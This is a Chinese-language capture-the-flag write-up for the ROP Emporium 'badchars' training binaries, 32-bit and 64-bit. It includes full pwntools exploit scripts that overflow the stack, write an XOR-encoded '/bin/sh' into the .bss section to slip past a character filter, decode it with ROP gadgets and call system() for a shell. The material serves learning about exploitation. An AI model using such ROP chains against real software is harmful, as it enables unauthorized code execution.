ropemporium上的链接
https://ropemporium.com/
32位
checksec badchars32然后运行./badchars32
拖入ida，有system，没有binsh，所以我们需要将binsh写入bss段中
main
usefulFunction里有system但参数不对
system地址为0x080484E0
bss地址为0x0804A040
pwnme函数
checkBadChars函数
把v3及其后面的变成数组，把数字按r转成字符，方便查看
这次的程序对输入的字符进行了过滤,对于特定字符b,i,c,/, <空格>,f,n,s（传说中的badchars），会被替换成-21，当然这会对我们成功写入"/bin/sh\x00"造成影响，所以我们要绕过这步替换
参考 https://www.jianshu.com/p/5b9abeca9308
这里用 xor 对要输入的 '/bin/sh' 加密，成功传入参数后再进行解密调用
首先找可以进行异或的数字，因为可能会有进行异或后还出现badchars的数字。
找异或数字的脚本为
binsh = "/bin/sh\x00"
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xornum = 1
while 1:
for x in binsh:
tem = ord(x) ^ xornum
if tem in badchar:
xornum += 1
break
if x == "\x00":
print xornum
xornum += 1
if xornum == 10:
break
可异或的十以内数字有2,3,5,9
找gadget
ROPgadget --binary badchars32 --only "mov|xor|pop|ret"
gdb爆偏移为44
写脚本
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars32')
p = process('./badchars32')
pop_esi_edi = 0x08048899
mov_esi_to_edi = 0x08048893
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890
system_plt = 0x080484E0
bss = 0x0804A040
#加密
binsh = "/bin/sh\x00"
xorbinsh = ''
for i in binsh:
xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用，ord()是字符转ASCII码，chr()相反
payload = ''
payload += 'A'*44
#因为是32位，/bin/sh要分2次传
payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss)
payload += p32(mov_esi_to_edi)
payload += p32(pop_esi_edi)
payload += xorbinsh[4:8]
payload += p32(bss+4)
payload += p32(mov_esi_to_edi)
#解密
for x in range(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss+x)
payload += p32(2)
payload += p32(xor_ebx_cl)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)
p.sendline(payload)
p.interactive()
成功
我们再来玩一个简单的，只传入一次的"sh\x00\x00"
脚本为
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars32')
p = process('./badchars32')
pop_esi_edi = 0x08048899
mov_esi_to_edi = 0x08048893
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890
system_plt = 0x080484E0
bss = 0x0804A040
#加密
binsh = "sh\x00\x00"
xorbinsh = ''
for i in binsh:
xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用，ord()是字符转ASCII码，chr()相反
payload = ''
payload += 'A'*44
payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss)
payload += p32(mov_esi_to_edi)
#解密
for x in range(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss+x)
payload += p32(2)
payload += p32(xor_ebx_cl)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)
p.sendline(payload)
p.interactive()
当然也是成功的
64位
道理大致相同，但是/bin/sh不需要分2次传，一次即可
ROPgadget --binary badchars --only "mov|pop|xor|ret"
gdb爆偏移
exp:
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars')
p = process('./badchars')
pop_r12_r13 = 0x00400b3b
mov_r12_to_r13 = 0x00400b34
pop_r14_r15 = 0x00400b40
xor_r15_r14b = 0x00400b30
pop_rdi = 0x00400b39
system_plt = elf.plt['system']
bss = elf.bss()
#加密
binsh = "/bin/sh\x00"
xorbinsh = ''
for i in binsh:
xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用，ord()是字符转ASCII码，chr()相反
payload = ''
payload += 'A'*40
payload += p64(pop_r12_r13)
payload += xorbinsh
payload += p64(bss)
payload += p64(mov_r12_to_r13)
#解密
for x in range(0,len(xorbinsh)):
payload += p64(pop_r14_r15)
payload += p64(2)
payload += p64(bss+x)
payload += p64(xor_r15_r14b)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system_plt)
p.sendline(payload)
p.interactive()
成功
以上两个的flag为ROPE{a_placeholder_32byte_flag!}